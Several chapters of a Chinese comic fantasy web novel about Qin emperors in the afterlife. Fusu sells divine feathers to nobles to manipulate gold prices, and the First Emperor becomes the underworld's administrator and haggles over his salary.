贵族们好说歹说,也没叫扶苏松口。 最后,扶苏叹了口气: “这样吧,西羌的驰道修建耗费甚巨,国库吃紧。若爱卿能为大秦出一份力,朕便匀你一根。” 贵族:…… 贵族后知后觉发现自己被套路了。 他们现在甚至开始怀疑,这个羽毛到底是玄鸟的羽毛,还是陛下派人伪造的假货。 可是面对陛下微笑的表情,没人敢问。 他们不仅不敢问,还不敢改口说自己不要了。 之前免费的时候一个两个都想要,提到为大秦做贡献就立刻改变主意。怎么的,不想在大秦混了是吧? 扶苏甚至当着他们的面取出一个锦盒,打开之后拿出了一堆神羽摆成一排。 二世陛下亲切地询问他们: “爱卿想要哪一根?” 说着拿起一根大的: “这根大些,要出价更高才能拿走。” 然后又换了一根小的: “这根小,可以便宜一点。” 贵族:………… 10. 强买强卖 《大秦地府日常》全本免费阅读 扶苏把神羽卖出去之后,还不忘叮嘱一句: “虽然羽毛确实多到分不完,但它真的是玄鸟的羽毛。你们回去之后记得好好供奉起来,不要乱扔,免得玄鸟大人生气。” 还以为自己在花钱买假货的众人:…… 搞半天是真货啊。 不过想想真货数量那么多,确实也显得不那么值钱,难怪陛下要算计他们。 二世陛下没必要在这种事情上骗他们,再加上这根羽毛确实也不便宜。最后大家还是心情复杂地把东西妥善带了回去,小心供起来。 事情进展得很顺利。 但是吧,一个个地来效率太低了。 扶苏数了数,玄鸟可能也是羽毛多得没地方放,足足拿回来了两百多根,这要分到猴年马月去? 而且据她所说,她已经很收敛了,只挑了近几十年(阳世五百年)的尾羽。据说是时间间隔太久的话,怕天道不让她带进来。 玄鸟解释道: “其他尾羽在神兽界滋养多年,会携带上神力,凡人不好过多接触。” 扶苏便问父亲: “父亲认为应该如何处理?” 始皇见他又想偷懒不动脑子,直接找别人抄答案,冷酷地让他自己想。 现在扶苏才是皇帝,自该独当一面。 扶苏只好唉声叹气地让传令兵去把其他家族的话事人都叫来宫中,专门挑传承悠久的有钱贵族叫。 他拿出了一根品相最好、他准备自己留着的尾羽,给诸位家主远远看了一眼。 然后他说道: “诸位出价吧,玄鸟神羽价高者得。” 这群人显然还没从其他人那里听说他们的遭遇。 这也是很正常的事情。 自己吃了亏送出去那么多钱,当然也想让其他人同样栽个跟头。告知是不可能告知的,不仅不会告知,甚至还要暗中炫耀自己有了神羽,帮陛下坑他们一把。 是以在场众人不少都听说了确有神羽这件事,完全不曾怀疑。其余没听说过的,见同僚们都一脸跃跃欲试要竞价,便知这肯定是真货无遗。 大秦第一届神羽拍卖会正式开始。 起初没人敢喊价,怕自己喊的低了,会显得很吝啬。但是喊太高,又有点心疼钱。 好在扶苏贴心地安排了托儿。 在有人率先开口的情况下,其他人应当就不会再犹豫了。 已被坑过一对笔的某位家主积极叫价: “臣愿出价五百金!” 要知道他之前出的价格也就五百左右,这上来就往成交价上喊,可见十分黑心。 扶苏给了他一个赞许的眼神。 家主顿时得到了激励,越发起劲。每每价格增长缓慢时,他就会跑出来叫价活跃气氛,仿佛一个玄鸟的脑残粉。 等最后价格终于再也叫不上去时,已经从底价的五百金叫到了一千金。 家主简直咂舌。 自从大秦有钱后,他们口中的“金”就不再是铜,而是真正的黄金了。而在战国时期,其实只有楚国才盛产产黄金将之作为流通货币。 一枚金饼约250到260克,正与大秦一斤的重量差不多。一斤是十六两,所以一枚金饼是十六两黄金。 大家叫价的时候,自然是以两为单位。那么一千金,就是62.5枚金饼了。 扶苏微微眯眼: “看来诸位家中很有钱啊……” 现代人可能对金饼的价值不太了解。 举个例子。 汉代施行酎金制度,要求诸侯每年八月向皇帝献上黄金协助祭祀汉高祖。封地人口500到1000的要4两黄金,像海昏侯那种封地人口两万左右的,5块金饼就够了。 两万人口相当于四千户,汉代封地一般也就几千户。哪怕是数量稀少的万户侯,也就十几块金饼的酎金。 大秦如今商业繁荣,不仅国库从西方赚到了许多钱,连带着国内的贵族也跟着吃饱喝足。 但国库有钱是一回事,你贵族世家太有钱,那就不合适了。 扶苏微微一笑: “我见诸位也不像缺钱的样子,那便也不给你们抹零了。譬如62枚半的金饼,你出65枚即可。” 62.5,一般人四舍五入是63,他四舍五入是65。 出价最高的贵族都惊呆了: “可是——” 多出2.5枚金饼,相当于多出40两黄金啊! 扶苏眉头一皱: “爱卿莫不是反悔了?也罢,那神羽便让给第二……” 贵族还沉浸在竞价上头的情绪中,一听要让给第二位,立刻坚定地表示: “不!臣能出得起这个价钱!” 陛下这反应让他越发坚定神羽为真,既然如此,肯定不能让给旁人。 扶苏这才满意地舒展了眉宇: “爱卿放心,朕不会让你吃亏的。” 说着示意侍者将之前的锦盒取来,当着众人的面开始挨个分发神羽。 众人:? 扶苏示意他们对比一下手里的羽毛: “出价高的,自然可以得到更好的神羽。诸位爱卿,给钱吧。” 众人:………… 原来陛下之前说的“价高者得”,不是价格最高的人可以获得,而是所有出价高的都能分到一根啊。 可是这么多根,真的显得有点不值钱了。 扶苏意味深长地看着他们: “莫非诸位不是诚心想要神羽的?方才出价不过是闹着玩?” 自然不是。 出过价的,都是对神羽心动过的。唯独没料到神羽数量竟有这么多,才一时受到了冲击。 但别管它多少,只要是真货就不亏。 贵族们你看看我,我看看你,到底还是有人站出来率先付了钱。 一盒盒金饼被各家派人送入了宫中,尽数充入国库。 太子桥松看到账单的时候都震惊了: “父亲!你竟真的从他们手里骗来了黄金?!” 扶苏不悦: “这怎么能算是骗?朕又没有卖假货。” 桥松欲言又止。 其实吧,他对于贵族里传得沸沸扬扬的始皇帝显灵这个说法并不相信。不仅是他,不少臣子其实也不信。 如果是真的,他觉得以他爹的性格肯定会宣扬得人尽皆知。 一来可以为大秦受国运庇佑一说增添可信度,二来也能借此神话始皇帝,三来还能向世人展示祖父有多疼爱他。 然而他爹却什么都没说。 所以桥松认定这是假的,就是他爹编出来糊弄人的。糊弄的对象还很精准,便是朝中那些迷信的贵族们。 既然显灵是假,那么神羽肯定也是他爹不知道找谁弄出来的人造产品。 这也不难,找一些体型庞大的鸟,用它们的羽毛染色就好了。 后世人对先秦时期的神鸟玄鸟到底是哪一种动物外形存在争议,有认为是燕子的,有认为是猫头鹰的,还有人认为是鹰那样的猛禽。 不同时期有不同的记载和文物。 东周时期《左传》等文献里记载为类似燕子一样春来秋走的候鸟,秦公墓里出土的金箔却形似鹰鸱。到了后头的朝代,有些就干脆把它与凤凰混为一谈了,能看到很多古籍里写玄鸟是凤凰。 扶苏见到的玄鸟介于凤凰和燕子之间。 既是神鸟,自然不会当真和现实中的鸟一模一样,得有点神异之处。 是以玄鸟整体看起来不是任何一种凡间的动物,而是拥有一些神兽中常见的拼凑元素。比如它的尾羽,就是一种纯黑色带光泽的美丽长羽。 这样的羽毛并非人力仿制不出。 桥松忍不住询问父亲: “您从哪里弄来了长羽,将之染成玄色的?” 扶苏原想和他实话实说的,但见儿子这一副“爹你又在干什么坏事”的模样,突然就不想说了。 不如就让傻小子误会着,等以后他驾崩的时候再说实话,临死前吓他一跳。 扶苏很快打定了这个坏主意,三言两语应付走了桥松。而后去找父亲,和父亲说好不要露馅。 始皇在心里同情了孙子一瞬。 但还是答应下来: “好,阿父不和他说。” 过了几日,出售神羽的反馈便出来了。 玄鸟发现自己确实多了一些新的信仰来源,高兴得直夸扶苏能干。 那些花了钱的贵族为了不让自己的钱完全打水漂,哪怕心里怀疑神羽的真假,也得说服自己这是真的。否则就是彻彻底底的大冤种了,花钱买了根一文不值的东西。 ——不行!天底下必然有玄鸟!这必然就是玄鸟的神羽!我绝没有上当受骗! 众人大抵便是这样的想法。 玄鸟卖羽毛的事情根本瞒不过黑龙。 眼看着玄鸟靠这个捞到了好处,黑龙自然坐不住。它也有换下来的东西,它换下来的鳞片可多了。 龙鳞倒是不像鸟羽那般一年换一次,可龙鳞也同样不像鸟羽那样有长有短、有的华丽有的普通啊! 换一次的鳞就能收集一大堆出来,可比玄鸟有效率多了。 黑龙期期艾艾地凑到扶苏面前,不知从哪儿掏出几片龙鳞。双眼亮晶晶地盯着扶苏,脸上写满了期待。 扶苏:…… 扶苏于是又把上回那波人叫来了。 大家被陛下叫入宫中,还有些忐忑。 难道是之前出钱太多,让陛下觉得他们是靠贪污受贿才积攒下丰厚家资的,准备开始问罪了? 结果到了地方之后,扶苏让人捧出一盒子龙鳞来。 他体贴地告知众人: “始皇帝又给朕 11. 露馅 《大秦地府日常》全本免费阅读 边角料很快取来,是一些之前筛选时觉得成色不够好的玄鸟尾羽。 扶苏额外恩准分到的人可以少给点钱,毕竟他做生意一分钱一分货,童叟无欺。 原本大家还同情后头的人要花重金买边角料,这么一看反而嫉妒起来。他们也愿意买边角料,能少花几个金饼都是好的。 黑龙一开始围观得还挺高兴的,越看越觉得不对劲。它弱小无助地抱住自己,默默挪到了始皇帝的肩膀上。 然后它小声问道: “你就这么看着他胡闹吗?这样真的不会出问题?” 它怎么看着觉得不太靠谱?! 始皇唇角含笑: “扶苏有分寸的,他既然敢做,就有把握能镇得住场子。” 见黑龙不解,始皇也没有过多解释。 当年他刚刚天下一统的时候,曾经实行过一个策略。就是由他来震慑六国,以严刑峻法威慑天下。 同时,对外宣称太子扶苏仁德爱民。只要扶苏上位,全天下的黔首就能喘口气过上好日子。 然后他们父子俩开始默契地协作。 扶苏会在合适的时候提出与民休息的建议,始皇便会因为“宠爱太子”而退让,将一些严法放宽要求和惩罚。 四十多年下来,虽然这期间庶民们一直没等到太子登基,但被他们寄予厚望的太子并不是没有作为的。 所以扶苏颇受爱戴,庶民也对愿意听劝的始皇帝抱有好感。 大家都是很淳朴的人,只要日子一天比一天好过,就会真心实意地感激上位者。 可事实上,在这四十年的漫长“妥协”中,长城修了、驰道修了、运河修了、宫殿也修了。该做的一件没少,大家依然觉得生活很有盼头。 如今,扶苏用的也是同样的招数。 「虽然二世陛下死要钱,但我们还有太子桥松。陛下已经六十多岁了,他活不了几年,我们只要熬到太子登基就好了。」 更何况,这些年贵族跟着扶苏靠对外通商赚得盆满钵满。就算现在花了大笔钱出去也不怕,过个几年说不准又能赚回来呢。 被坑过钱的贵族们私底下找到桥松。 太子可靠又稳重,不会任由陛下胡来。哪怕太子其实管不住他爹,也好歹比别人说话更有分量。 贵族们的要求也不多,就是请陛下别再折腾了。玄鸟和黑龙都已经被他拿出来做了筏子,以后总不能再来第三回了吧? 桥松果然前来拜见了父亲。 他和父亲之间同样也有默契,不用多说就知道该怎么配合彼此。 桥松问: “父亲准备何时收手?” 扶苏当即表示: “有太子相劝,自然是今日就收手。” 桥松离开后给贵族们传了信,告知他们不必再担忧,他已经劝住陛下了。 贵族们喜极而泣。 这次的难关算是过去了,希望没有下次。 贵族都是聪明人,聪明人就容易多想。他们不由怀疑是自己平日里过得太奢侈了,惹了陛下的眼。 身为臣子如此奢靡,确实不太好,以后还是要低调。 黑龙是条单纯的小龙,看完龙都傻了。 它瞠目结舌地看向始皇帝: “他们怎么还自己给扶苏找借口的?” 始皇丝毫没有意外: “合该如此。” 在大秦,皇权至上,大秦的制度就决定了皇帝说的话无人胆敢违背。别说扶苏不是在乱来,哪怕他确实是在乱来,一时半刻也出不了什么事情。 否则其他位面的胡亥和赵高哪里能轻而易举地将丞相李斯下狱夷三族,甚至于都迫害了整个朝堂,也没有人能阻止得了他们? 不受任何掣肘的皇帝,便是这样的。 始皇目送长孙走远,又去看向儿子。他的目光温暖柔和,像一个寻常父亲在看自己的孩子,而非帝王。 “阿苏自小就很像朕。” 他爱用的手段,扶苏也爱用。一看就是由他亲自教养长大的,又聪明又妥帖,国事上从不让他操心。 黑龙歪头。 它没看出来扶苏哪里像始皇帝了,那分明就是个芝麻馅包子,始皇帝可比他光明磊落多了。 这可能就是亲爹滤镜吧。 扶苏薅了一波羊毛之后,遗憾地表示不能再有下次了。再来一回贵族得炸毛,只能适可而止。 但也不要紧。 扶苏和父亲算了一笔账: “他们手中的黄金大概也就这些了,可能还有点剩余,不过不会很多。想再攒到这么多,也需要好些年。” 扶苏自己都六十多了,还不一定能活到韭菜下一茬长成呢。所以能不能再次收割,其实并不重要。 他见黑龙还有些纠结,忍不住笑道: “龙君在想什么?” 黑龙无法理解: “你这是公然抢钱,他们也太能忍了。” 扶苏失笑地摇了摇头: “龙君还是太不了解凡人了。” 真以为那些贵族世家只有这些钱吗?人家只是黄金储量仅有这么多,别的铜银和奢侈物品依然不胜枚举。 这点黄金丢出来,顶多是有点心疼罢了。 因为中原地区金矿不多的缘故,之前大秦根本不流行使用黄金。 那么在没有金矿的时候,贵族之家贮藏的财产是什么呢? 不会全是铜,铜价贱,全藏铜太占地方不说,还会导致市面上流通的铜币减少,影响社会运转。 所以贵族会找其他昂贵的奢侈品来作为“储备金”,虽然它们不是货币,但它们也是贵族间的硬通货,拿去哪里都有别的贵族买账。 最典型的是各种香料。 大秦如今已经引入了胡椒,胡椒这样的香料轻便易携带,价贵的时候一粒就能抵上一金。 它不是货币,却胜似货币。 其他能够计数的香料果实也是一样的道理。 黑龙明白了: “虽然它们拿出了几十块金饼,但他们家里可能还有几十斤胡椒、几十斤茴香、几十斤各式各样的香料。除了香料之外,他们可能还有什么红木楠木、蜀锦丝绸?” 在以物易物还很流行的年代,所有有价值的东西都能当货币使。相比之下,因为太显眼容易被抢的黄金反而没那么受欢迎了。 大家喜欢贮藏黄金,但盛世时比起用黄金付账,他们还是更偏向于用香料等物进行交易。 ——识货的人才会知道香料的价值,在拿出它的时候,就是一场阶级筛选了。倘若卖家连香料作价几何都不识得,那这笔买卖要不要继续做下去,还得斟酌一番。 换成黄金……底层的劫匪都知道黄金值钱,不抢你抢谁? 始皇知道儿子单只要黄金,定有缘由。 否则他完全可以准许贵族们以其他物品抵扣,这样还能出得起更高的价钱。 始皇略一沉吟: “你想控制金价?” 楚地黄金大量流入九州大地之后,黄金从稀少的奢侈品变成了相对常见的奢侈品。 始皇帝当年一统六国时就赏赐过功臣金银等物,但那会儿拥有的人还不算特别多。众人对这种比铜更金灿的贵金属非常追捧,于是开始竞相收集。 起初局面还好,金矿数量有限,所以金价居高不下。可随着扶桑岛被大秦置郡,陆续传来了发现多处金矿银矿的消息,忽地就显得它们不值钱了。 近些年金价有所回落。 扶苏现在把贵族世家手里的黄金收拢走一波,然后押入国库不用。市面上的黄金少了,金价自然便会缓慢攀升。 就算他们知道海外金矿多又如何? 扶苏微微一笑: “扶桑常常刮起妖风,来往并不方便。金银要从那里转运过来实在困难,远水解不了近渴。” 然后再控制一下楚地金矿每年的开采规模…… 物以稀为贵。 黄金、白银和铜钱,都是本位面的大秦设置为货币的存在。只不过寻常黔首用不起什么金银,只能用铜币。 可庶民用不起,贵族用得起啊。官方货币贬值不得不防,总不能放任下去。 始皇颔首表示赞同: “胡椒、琉璃等价贵之物,大秦官田和工坊自可产出。若非有这次机遇,怕是只能用这些物品一点点换取贵族手中的金银。” 不是不行,只是效率太低了点。 而且不能保证人家愿意把贮藏的金银拿出来,大不了用别的东西付钱也是一样的。 之前贵族们贮藏的黄金,其实大部分都是当年楚人开采的。大秦接手矿区之后在太子扶苏的提议下控制了开采量,然而前头楚人埋下的祸患还是要解决的。 全国上下凑不出十个懂经济学的人,实在造孽。幸而官学已经在努力培养了,不然扶苏真担心哪天冒出个反贼带人搞经济战把大秦整垮。 黑龙别的没听懂,就听懂一个—— 这对父子本来是打算拿自己能种出来的胡椒和工坊能大量生产的琉璃,充作价格昂贵的奢侈品,拿去骗贵族钱的。 黑龙:…… 心真脏啊你们。 这么看来,它和玄鸟拿出来的龙鳞羽毛好歹还是自然产物,而且作为神兽的东西确实对凡人来说很精贵。 黑龙:良心一下子就不痛了。 始皇帝给宝贝儿子留的大秦确实没太多内忧外患,所以扶苏搞定了这件事之后又闲下来了。 他闲下来是件好事,群臣都很感恩,二世陛下终于不作妖了。 如果花钱就能让陛下安安分分继续待在宫里休养,不出来折腾人。那这么一算,还挺划算的呢。 黑龙:吾不理解,吾大受震撼! 所以之前扶苏坑他们钱的行 12.变相一统地府 《大秦地府日常》全本免费阅读 黄泉府君现在在思考一个严肃的问题。 ——这个府君非当不可吗? 会遭遇泰山君的背刺是他没想到的,而且那家伙必然是早就准备跑路了,这才没悉心帮他办事。 手底下带的都是这种下属,他真的很想撂挑子不干。 但他不能因为一个位面的问题,迁怒所有位面。 别的位面大部分时候还是很乖顺的,只有这里是刺头。没事,等他想个法子把刺头搞定了,一切就会恢复平静。 府君先询问天道: “泰山君走了,这个位面的分管人换谁顶上?” 天道回答: 【泰山君提议让始皇帝来担任。】 府君:??? 府君超大声地拒绝: “不行!我不同意!” 手里没有权利的时候,始皇帝都这么能折腾。要是当上了地府的分管人,他还能有太平日子过吗? 府君一点都不想天天给下属善后。 天道很现实地告诉他: 【各位面均有分管人递交辞呈,目前地府人手严重不足。】 所以如果你拒绝的话,那就拿出解决方案来。拿不出来,空缺的岗位你一个人干得过来吗? 府君好歹是华夏地府分区的最高管理人员,天道就将新拟的规章制度发给他了。具体细节还要通过推演调整,不过最终版应该大差不差。 府君打开一看。 这些年新生位面越来越多,而且绝大多数堪称只增不减。会消亡的位面少之又少,这就导致管理人员的数量捉襟见肘。 偏偏每个位面的地府还不是单独一个空间的,它有平行空间。 老百姓要和王侯将相分开吧?不然权贵随便就能欺压底层人民,增加鬼魂之间的矛盾。 某些空间鬼数太多得划分区域吧?鬼魂阴寿比人类的阳寿长,不乐意投胎的鬼魂能在阴间待很长时间,太容易鬼满为患了。 部分朝代互相之间还有仇,天天打架。两个朝代的人必须分开,不然没个消停的时候。 到最后每个位面至少要有一个分管人,然后每个空间还要有一个职员进行管理。一个位面加起来至少就是十几人,这么多位面肯定人不够。 天道就想着,干脆从鬼魂里挑人入职。 别的不说,像现在这个全是大秦皇帝的位面,让始皇帝来当分管人肯定能镇得住场子。 按照推演,接下来几千年的王朝都会以秦为国号。不是嬴秦后人的,也会假称自己是嬴秦后人,改姓称王。 那么就算是后头那些朝代的皇帝来了地府,他们有底气和始皇帝对着干吗?这可是你自己承认的老祖宗。 府君被说服了。 但始皇帝他现在不回地府啊! 天道表示:等他成为地府分管人之后,就会回来了。 而且地府工作人员不能随意前往阳世,这样也能顺便解决始皇可以随便在阴阳两界来去自如的问题。 府君:! 还得是天道出马,直接釜底抽薪。 他以后再也不骂天道是法则智障了。 “可是始皇帝不一定愿意当这个分管人吧……” 府君有些迟疑。 天道这次没有继续搭理他,而是直接去询问当事人了。 为什么不愿意呢? 始皇看着天道那句“你们位面的地府各空间尽归你管”,漫不经心的神色顿时郑重起来。 他还记得自己之前想统一地府的宏愿。 当时府君立刻否决了,还说他在异想天开。让他死都死了,就安安分分当只鬼,不要整天想着继续掌控天下。 现在—— 始皇矜持地对儿子说道: “天道邀请朕去地府做皇帝。” 天道:?我是这么说的吗? 扶苏知道父亲想听什么,他笑道: “天道也认可了阿父的功绩和能力,否则怎么不找旁人?” 始皇深以为然: “这地府虽然无趣了一些,但治理一番也未尝不可。” 得了便宜还要嫌弃地府不行。 始皇又道: “可惜只能掌管一界,而天下还有万万个位面。” 要是能取代黄泉府君就好了。 黑龙:…… 玄鸟:…… 黑龙正想说什么,玄鸟踩了它一脚,让它闭嘴。 玄鸟抢过话头: “黄泉府君没什么好当的,他手中权利很小,还要整日劳心劳力。不如只管一界,反倒面子里子都有。” 始皇帝在自家一亩三分地上,谁都得给他点面子。不给的诸如东周诸侯们,分分钟率领几十万兵马俑踏平即可,保管下次他们就老实了。 可若是跑去别的位面,人家可不一定会搭理你。尤其一些皇帝制度已经被废除的地方,可能还要遭遇始皇粉丧心病狂的围堵和示爱。 玄鸟真诚地建议始皇帝: “有些位面的人不好相与,还是不去为妙。” 她怕始皇去了之后被现代人吓着。 始皇和扶苏敏锐意识到了什么,不过他们并未多问。 玄鸟与他们利益一致,如果当上府君能把大秦的荣光播撒到每个位面,没道理她会不赞成。 再想想黄泉府君那倒霉处境…… 始皇帝颔首: “朕知晓了。” 地府里头其实没什么能给皇帝们折腾的余地,就算始皇当上了分管人,也就是管管一些打架斗殴的小事。天道对职工的规定挺严格的,不会给他们假公济私的机会。 所以这个分管人当着没什么意思,可架不住始皇有一统地府的执念。 如果嫌弃鸡毛蒜皮的小事管起来麻烦,还能丢给臣子或者祖宗去处理。昭襄王就对这个很感兴趣,还能忽悠秦稷去当个权贵所在空间的管理人。 扶苏和父亲商量了片刻,都认为这个天降馅饼可以接。 天道大约也只一般人是不会来给地府干活找罪受的,所以许诺的报酬很丰厚。 首先是大家都有的基础工资。 府君那个级别月工资是十万功德,各位面分管人属于府君的下一级,所以只有五万的基础工资。 扶苏点评: “阿父每年花在我身上的就不止这么点了。” 之前他们算过,始皇在阳世陪他一个月就要花百万功德。换算成地府的一个月,就是一千二百万(正好是阳世一年)。 而给祖宗们的花销,则是地府一月给一百万。 也就是说地府给的月薪只有始皇帝每月出的养老费的5%,二十分之一。跟扶苏这里的花销一比,更是杯水车薪。 天道:……那你不能这么比啊! 寻常人谁能和始皇帝比家底? 始皇给祖宗一个月三万左右,它天道给的基础月薪好歹还有五万呢。 玄鸟和扶苏一个唱红脸一个唱白脸,配合得极好。她看扶苏挑剔得差不多了,站出来“帮”天道说好话。 玄鸟一副我很懂行的样子: “这只是基础工资,基础工资低一点很正常,不是还有提成吗?天道你快说,提成应该很高吧?” 天道:= = 确实有提成,提成根据每个月处理的事务多寡、事务严重共同程度综合计算。 府君的收入大头其实就来源于提成,不然凭什么他一个人管万万个位面的地府,基础月薪才只有分管人的两倍? 还不是因为管的位面越多,遇到的事情就越多,提成也越多嘛。 府君每个月工资加提成,一般也有上千万收入了。 所以之前罚款的百万,相当于他十分之一的月薪。会让他有点肉疼,却没他嘴上嚷嚷得那么悲惨。 被罚款的时候卖个惨属于常规操作了,可惜天道铁面无私根本不肯打折。 扶苏若有所思: “府君管那么多位面,月薪也只有父亲给我花的钱那么多吗?” 这府君,是挺穷的哈。 玄鸟忍住了没有笑出声: “也不一定,有时候事情比较多,能涨到上亿功德呢。” 扶苏却很理智: “这样的话,他那个月必然忙得喘不过气吧?” 这不就是个疯狂加班的倒霉蛋? 钱是赚到了,命也去了半条。 始皇:…… 黑龙已经笑得满地打滚了。 扶苏没去管它,只和父亲说: “这府君确实不当也罢,父亲还是不要太累着自己了。只当一界之首,轻省又体面,还能叫儿孙协助。” 现在儿孙们还活着不要紧,等以后肯定都会死下去的。儿孙多了,不想管的事都能丢出去,日子舒服得很。 始皇瞥他一眼: “只有你才总惦记着不想管事。” 扶苏唔了一声,也不反驳,只讨好地冲父亲笑笑。 玄鸟已经跟天道掰扯到最后几项了。 “年终奖怎么算?平时有没有奖金?业务做得好,在各位面名列前茅,得发额外的奖赏吧?还有一些员工福利,比如每逢年节发的物资……” 扶苏边听边记录。 地府那头这类的流程似乎十分完善,他先记下,回头看看大秦能不能改一改用上。 双方你来我往商谈了半日,终于定下了最终方案。月薪、提成、各类奖金、年节物资等等,应有尽有。 商讨完分管人的待遇后,事还没完。 扶苏问道: “不是说每个平行空间还有小管事,是分管人手底下的职工吗?既如此,不知天道预备招谁来当这些管事?” 天道给出的答复是继续在鬼魂里挑。 这个就不劳他们费心了,比如平民所在的空间,肯定在平民里挑。就挑那种功德深厚、大公无私的大善人,和他们嬴秦无关。 扶苏却笑 13.习惯性改革 《大秦地府日常》全本免费阅读 来得早不如来得巧。 始皇帝心说自己刚成为此界地府的分管人,就有不长眼的上门来寻仇。天命果然站在他大秦这一头,否则如何解释这些人的倒霉? 不过始皇暂且还不知该如何动用权限,只好靠自己的本事御敌了。 问题不大,此界再没人功德比他深厚。一旦打起来,没有人是他的对手。 始皇估摸着,他这个水平以一敌百应当不成问题? 始皇帝本身就习过武,他们大秦男儿没有不会打架的。何况公子王孙本就要文武精通,有武艺相助,打起架来更是如虎添翼。 始皇正准备拔出腰间的太阿剑迎敌。 忽然,大地一阵震颤,远处有马蹄声和兵阵奔袭声传来。听这动静,骑兵数量不会少于千余,步兵定然也上万了。 对面方才还在嚣张的六国之人全都露出了惊惧之色。 “怎么回事?!” 他们方寸大乱,难以想象为何这里会有军队出现。难不成秦人还跑去庶民所在的空间,去搜罗死亡的秦国士兵了?! 可不是说没有特殊缘故,鬼魂只能在自己的空间待着吗?他们这些贵族根本去不了庶民的空间,顶多从东周的空间去夏商周的空间,因为都是贵族所在的空间。 即便去了别的位面,也是一样的道理。能在那些位面的贵族空间待着,无法前往庶民聚集的空间。 领头的国君还是有点胆色的。 他示意众人稍安勿躁: “若寡人没有猜错,那应该是——” 不等他说完,速度快的骑兵已经哒哒哒跑到了视野范围内。 那一个个人影身上涂着艳丽的色彩,活灵活现的,与鬼魂相似度极高。但正是因为色彩过于艳丽,才让人区分出那不是鬼魂,而是别的存在。 始皇一眼认了出来: “这是朕的兵马俑?” 国君神色凝重: “原来兵马俑可以用功德驱使的传闻是真的!” 将军李信率领骑兵一路奔来,远远看见陛下,连忙压低速度。 哪怕地府不存在尘土飞扬这样的环境污染,不用担心冲到近前会扑陛下一身尘土,那么做也实在太失礼了。 李信直接给骑兵俑下命令: “包围来敌!” 然后自己在远一些的位置就下了马,跑过来向陛下行礼问安。 李信单膝跪地抱拳: “末将李信,救驾来迟,请陛下责罚!” 始皇示意他起来回话: “你如何得知朕遭遇了敌军围堵?” 李信一指后方的外城城墙: “陛下,吾等在城墙上建造了瞭望塔。” 从甬道出口出来,直接就来到了外城墙之外。始皇身后就是城墙的大门,门内是兵马俑等丛葬坑和臣子亲眷的陪葬坑所在。 本来城墙是不设瞭望塔的,毕竟这个城墙一开始也是个摆设来着。谁能想到到了地府之后骊山陵会出现在地面上,城墙一下子就有用起来了。 早知如此,就应该在修建的时候把瞭望塔等一系列防御措施一起建好。 好在现在也不迟。 之前作为主人的始皇帝没来,兵马俑都是不能激活的死物,死得早的那批臣子干脆亲自搬砖来搭建瞭望塔。 这么做很是辛苦,幸而鬼魂对疲惫冷热之类的感知被弱化了不少。大家平日里也闲着无事,就连白起将军他们都呼朋唤友一起过来帮忙了。 前不久庄襄王得到权限,替始皇激活了兵马俑。有了这么多任劳任怨的人手,防御工事的搭建一下子飞速起来。 如今几处城门附近的瞭望塔早已建好。 今日轮值守卫的正是李信,他一看到远处有人来者不善,就直接下去清点人马出发了。没成想走到近前发现陛下也在这,吓了一大跳。 始皇听罢问道: “你们哪里来的砖石搭建瞭望塔?” 李信心虚地游移了一下目光: “末将不知,砖石都是武安君带人寻来的。” 始皇就静静地看着他撒谎。 好吧,看这样子是瞒不下去了。 李信摸了摸鼻子,老实回答: “此前阳世地龙翻身,有位先王的墓被震塌了。阳世的状况会照实反应到地府,所以先王的居所也塌了。” “武安君说那墓以后约莫都住不得了,不如废物利用,将其中的砖石拆出来挪给城墙用。我等征询过昭襄王之后得到准许,就去搬了不少完好的砖石回来。” 武安君就是白起的封爵。 “未曾想陛下与太子殿下发现墓塌了之后,派了人来修缮,重新将墓补好了。墓中还完好的砖石重新砌入了墙壁中,碎裂的则换了新的。” 始皇听到这里已经猜到后续发展了。 他冷静地问道: “所以阳世的墓穴修缮完毕之后,地府这个也修缮好了。只是之前被挪走的砖石空缺出来,先王的墓成了镂空墙壁?” 李信干笑一声: “陛下真是明察秋毫。” 始皇:…… 这都什么倒霉臣子,净会给人添麻烦。 见陛下无语,李信挠挠头: “先王如今还借住在旁的先王家中,不敢回去。因为担忧镂空墙壁哪日会坍塌,将他埋在下头。” 李信还道,先王至今不知自家砖石是怎么失窃的,他们也没好意思自首。昭襄王帮忙打了掩护,如今就等陛下决断,该如何处置。 始皇还能怎么办? 只能给这群不靠谱的家伙收拾残局。 他沉吟片刻,提了个解决方案: “先祖们居住的墓穴逼仄,既然那些砖石都能拆解下来,不如你们挨个将墓拆了,用这些砖石重新垒砌房屋。” 这里头肯定有损耗,还需要补充一些建筑材料。而且不确定臣子们的手艺如何,最好再从庶民里雇佣一些工匠过来。 始皇表示这比安家费就由他来出了。 庶民和贵族寻常情况下不能互相进入对方的空间,但形成雇佣关系之后就可以了。有光屏在,完全可以在“人才市场”这一功能区里发布招聘,远程聘人。 李信一拍脑袋: “倒是不必这么麻烦,我等在人俑中发现过工匠俑。它们的手艺极佳,瞭望塔也是在它们的指点下建造改进的。” 始皇:朕怎么不知道朕的陶俑里还有工匠俑? 始皇回忆了片刻,猜测可能是扶苏给他添的。扶苏往皇陵里添了一堆乱七八糟的东西,他并没有样样都过问。 如今看来,有个事事妥帖的太子确实很叫老父亲欣慰。 事情到此为止算是解决了。 始皇又看向那群被骑兵俑团团围住,进退不得的六国之人。 这里头有国君有臣子,还有凑数的普通贵族。不少都面色惶惶,活像是被匪军包围的小媳妇。 始皇觉得没眼看。 他收回了视线,吩咐李信自行解决。他还有要事,就不在这里耽搁了。 李信立刻让陛下稍等: “陛下可要乘车?” 铜马车多得是,怎能让陛下徒步! 始皇却是拒绝了。 他现在赶路的速度很快,没必要再坐马车。他赶时间,下回再体验地府的马车坐着是什么感觉吧。 李信等陛下走了,立刻给好兄弟们发消息—— 「打架速来!人多!对面先挑的事!」 在地府,大规模约架是不允许的。谁先挑事,那就谁全责,事后对方遭受处罚。 大秦将领们早就手痒了,一直没逮到机会舒展筋骨。一听有架打,一个两个立刻放下手里的活计,飞奔过来。 到地方一看,哇,这么多人! 樊哙哈哈一笑: “难得啊,老子今天就要打个尽兴!” 一群武将如饿虎扑食,直接窜入了羊群之中。柔弱的贵族们惊声尖叫,四处逃窜,却被骑兵俑牢牢为困在中间,逃脱不得。 抱着一沓子公文路过的萧何:…… 这场面,真的很像土匪入村,在强抢良家妇女。 萧何坚强地走到唯一沉稳的蒙恬身边: “蒙将军,你们要的资料在下已经整理出来了。” 蒙恬道谢之后接过翻看: “陛下如今已然回归,应当很快就能用上。” 这上头是秦人的名册整理。 另一边。 始皇顺着天道给的导航找到了地府的办公室,位置距离关中不远,就在五岳之一的嵩山之上。 